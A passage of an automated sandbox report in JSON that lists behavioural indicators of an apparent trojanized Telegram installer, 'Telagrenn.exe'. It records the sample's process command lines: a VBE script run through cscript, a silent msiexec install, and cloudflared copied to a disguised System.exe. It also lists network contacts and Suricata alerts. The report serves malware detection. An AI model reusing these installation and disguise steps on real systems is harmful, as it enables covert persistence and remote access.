Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"Telegram.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"References Video COM interface string","description":"$36","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-757","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"$37","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed Cloudflare DNS over HTTPS Domain (cloudflare-dns .com in TLS SNI)\" (SID: 2027695, Rev: 5, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET HUNTING Suspected Malicious Telegram Communication (POST)\" (SID: 2029634, Rev: 6, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"SURICATA Applayer Detect protocol only one direction\" (SID: 2260002, Rev: 1, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in file \"Telagrenn.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFileW\"; File: \"CoreLogic.dll\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"Telagrenn.exe\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"Telagrenn.exe\")\n Found string \"MoveFileExA\" (Indicator: \"MoveFileExA\"; Source: \"00000000-00002804-00000C2C-650386434\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"CoreLogic.dll\")\n file/memory contains long string(File: \"genteert.dll\")\n file/memory contains long string(File: \"is-2BAEF.tmp\")\n file/memory contains long string(File: \"is-3R46B.tmp\")\n file/memory contains long string(File: \"_setup64.tmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"Telagrenn.exe\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$38","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"D5rra.tmp\" called \"CopyFileW\" to copy %PROGRAMFILES%\\(x86)\\cloudflared\\cloudflared.exe to new location %ALLUSERSPROFILE%\\Microsoft\\System\\System.exe (UID: 00000000-00002688)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$39","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"Telagrenn.exe\" called \"CreateProcessA\" with parameter \"cscript.exe /nologo \"%APPDATA%\\Telegram\\adddf.vbe\" C:\\\" - (UID: 00000000-00002804)\n \"Telagrenn.exe\" called \"CreateProcessA\" with parameter \"\"%TEMP%\\gentee2B\\tsetup-x64.7.0.2.exe\"\" - (UID: 00000000-00002804)\n \"Telagrenn.exe\" called \"CreateProcessA\" with parameter \"\"%TEMP%\\gentee2B\\D5rra.exe\"\" - (UID: 00000000-00002804)\n \"tsetup-x64.7.0.2.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\is-MJMQ8.tmp\\tsetup-x64.7.0.2.tmp\" /SL5=\"$8036C\n53101816\n826880\nC:\\Users\\%OSUSER%\\AppData\\Loca\" - (UID: 00000000-00007176), \"tsetup-x64.7.0.2.tmp\" called \"CreateProcessW\" with parameter \"\"%APPDATA%\\Telegram Desktop\\Telegram.exe\"\" - (UID: 00000000-00007736), \"D5rra.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\is-DUFEV.tmp\\D5rra.tmp\" /SL5=\"$60388,20804243,926208,%TEMP%\\gent\" - (UID: 00000000-00006424)\n \"D5rra.tmp\" called \"CreateProcessW\" with parameter \"\"msiexec.exe\" /i \"%TEMP%\\is-CAG3H.tmp\\cf.msi\" /qn /norestart\" - (UID: 00000000-00002688)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"Telagrenn.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00002804)\n \"Telegram.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\Global\\a59cad72758c0ddd187ee2fa6426fdd1-{87A94AB0-E370-4cde-98D3-ACC110C5967D}\" - (UID: 00000000-00002316)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$3a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Calls an API typically used to move file or directory","description":"$3b","origin":"API Call","mitre_attack_id":"T1570","relevance":1,"id":"api-224","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$3c","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"mozilla.cloudflare-dns.com\"\n \"td.telegram.org\"\n \"www.fergcvbt.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"149.154.167.51:443\"\n \"95.161.76.100:443\"\n \"95.161.76.100:80\"\n \"149.154.167.51:80\"\n \"149.154.175.100:443\"\n \"149.154.175.100:80\"\n \"172.64.41.4:443\"\n \"142.251.214.99:443\"\n \"172.217.113.4:443\"\n \"194.221.250.50:443\"\n \"149.154.167.220:443\"\n \"149.154.175.54:443\"\n \"149.154.167.41:443\"\n \"149.154.175.54:80\"\n \"149.154.167.41:80\"\n \"104.21.33.36:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"Telagrenn.exe\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"Telagrenn.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"Telagrenn.exe\")\n Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; File: \"Telagrenn.exe\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00006424-18661-139-000939A4\n Sleep@KERNEL32.DLL at 00000000-00006424-18661-144-00094244\n Sleep@KERNEL32.DLL at 00000000-00006424-18661-2052-0009FA0C\n WaitForSingleObject@KERNEL32.DLL at 00000000-00006424-18661-3021-000C9318\n WaitForSingleObject@KERNEL32.DLL at 00000000-00006424-18661-3023-0009FA5C\n Sleep@KERNEL32.DLL at 00000000-00006424-18661-3806-000B3A68\n MsgWaitForMultipleObjects at 00000000-00006424-18661-3823-0009FAC4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: Telagrenn.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: genteert.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: guig.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: D5rra.tmp)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-7JH8E.tmp)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExW@KERNEL32.DLL at 00000000-00006424-18661-102-00093838\n LoadLibraryA@KERNEL32.DLL at 00000000-00006424-18661-2736-0009DFA0\n LoadLibraryW@KERNEL32.DLL at 00000000-00006424-18661-2842-0009F97C\n LoadLibraryW@KERNEL32.DLL at 00000000-00006424-18661-4598-00126080","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteW\" (Indicator: \"ShellExecute\"; File: \"Telagrenn.exe\")\n Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"Telagrenn.exe\")\n Found reference to API \"FreeResource\" (Indicator: \"FreeResource\"; File: \"Telagrenn.exe\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"Telagrenn.exe\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"Telagrenn.exe\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"Telagrenn.exe\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"Telagrenn.exe\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"Telagrenn.exe\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; File: \"Telagrenn.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"Telagrenn.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"Telagrenn.exe\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$3e","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"\":\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" (Indicator: \":\\programdata\\microsoft\\windows\\start menu\\programs\\startup\") in Source: 00000000-00002316.00000000.110315.25280000.00000004.mdmp\n 00000000-00002316.00000001.112236.25280000.00000004.mdmp\n 00000000-00002316.00000002.114156.25280000.00000004.mdmp\n \":\\Users\\dyYd15z\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" (Indicator: \":\\users\\dyyd15z\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\") in Source: 00000000-00002316.00000000.110315.25280000.00000004.mdmp\n 00000000-00002316.00000001.112236.25280000.00000004.mdmp\n 00000000-00002316.00000002.114156.25280000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileW in import section (Source: CoreLogic.dll)\n Found MoveFileW in import section (Source: D5rra.tmp)\n Found MoveFileW in import section (Source: is-7JH8E.tmp)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\Embarcadero\\Locales\" in Source: 7698-155-00F0D73C\n \"Software\\CodeGear\\Locales\" in Source: 7698-155-00F0D73C\n \"Software\\Borland\\Locales\" in Source: 7698-155-00F0D73C\n \"Software\\Borland\\Delphi\\Locales\" in Source: 7698-155-00F0D73C\n \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\" in Source: 7698-3805-00FA7238\n \"SOFTWARE\\TelegramDesktop\\Capabilities\" in Source: 00000000-00002316-00000BC1-718236763\n \"e\\Software\\C\" in Source: 00000000-00001040.00000000.110716.73424000.00000004.mdmp\n \"e\\Software\\C\" in Source: 00000000-00002316.00000000.110315.25280000.00000004.mdmp\n 00000000-00002316.00000001.112236.25280000.00000004.mdmp\n 00000000-00002316.00000002.114156.25280000.00000004.mdmp\n \"y\\Machine\\Software\\CP\" in Source: 00000000-00002316.00000000.110315.273F0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$3f","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$40","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$41","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\Global\\a59cad72758c0ddd187ee2fa6426fdd1-{87A94AB0-E370-4cde-98D3-ACC110C5967D}","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$42","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"$43","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$44","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Launches a VBS file","description":"Process \"cscript.exe\" with commandline \"/nologo \"%APPDATA%\\\\Telegram\\\\adddf.vbe\" C:\\\\\" (UID: 00000000-00006908)","origin":"Monitored Target","mitre_attack_id":"T1059.005","relevance":10,"id":"target-72","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$45","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"Telagrenn.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 73C90000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"cscript.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 736A0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"$46","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"msiexec.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 89F20000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"Telagrenn.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75060000\n \"cscript.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75060000\n \"tsetup-x64.7.0.2.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75060000\n \"tsetup-x64.7.0.2.tmp\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75060000\n \"Telegram.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at AF810000\n \"D5rra.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75060000\n \"D5rra.tmp\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75060000\n \"msiexec.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75060000\n \"msiexec.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at AF810000\n \"System.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at AF810000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$47","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$48","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"is-PVEBQ.tmp\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"is-2BAEF.tmp\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"Telagrenn.exe\" has an executable section named \".text\"\n \"CoreLogic.dll\" has an executable section named \".text\"\n \"genteert.dll\" has an executable section named \".text\"\n \"guig.dll\" has an executable section named \".text\"\n \"is-PVEBQ.tmp\" has an executable section named \".text\"\n \"D5rra.tmp\" has an executable section named \".text\"\n \"D5rra.tmp\" has an executable section named \".itext\"\n \"is-7JH8E.tmp\" has an executable section named \".text\"\n \"is-7JH8E.tmp\" has an executable section named \".itext\"\n \"is-2BAEF.tmp\" has an executable section named \".text\"\n \"is-3R46B.tmp\" has an executable section named \".text\"\n \"is-4O7G3.tmp\" has an executable section named \".text\"\n \"_setup64.tmp\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$49","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$4a","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x38e000\" greater than 0x100000\n Raw size of \".text\" is \"0x2cf400\" greater than 0x100000\n Raw size of \".text\" is \"0x2c5000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x38db8e\" greater than 0x100000\n Virtual size of \".text\" is \"0x2cf32c\" greater than 0x100000\n Virtual size of \".text\" is \"0x2c4ee0\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"is-PVEBQ.tmp\" has high imagebase \"0x180000000\"\n \"is-2BAEF.tmp\" has high imagebase \"0x140000000\"\n \"_setup64.tmp\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\msiexec.exe\" [Source: 00000000-00002688-00000BC0-727057929]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cscript.exe\" (UID: 00000000-00006908) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"cscript.exe\" (UID: 00000000-00006908) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"msiexec.exe\" (UID: 00000000-00007060) was launched with modified environment variables: \"LOCALAPPDATA, USERDOMAIN, PROCESSOR_ARCHITECTURE, APPDATA, USERNAME, CommonProgramFiles, Path, TEMP, USERPROFILE, TMP, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"msiexec.exe\" (UID: 00000000-00007060) was launched with missing environment variables: \"USERDOMAIN_ROAMINGPROFILE, LOGONSERVER, OneDrive, USERDNSDOMAIN, PROCESSOR_ARCHITEW6432, HOMEPATH, HOMEDRIVE\"\n Process \"System.exe\" (UID: 00000000-00003244) was launched with modified environment variables: \"Path\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"firebaseremoteconfig.googleapis.com\"\n \"firestore.googleapis.com\"\n \"google.ru\"\n \"mozilla.cloudflare-dns.com\"\n 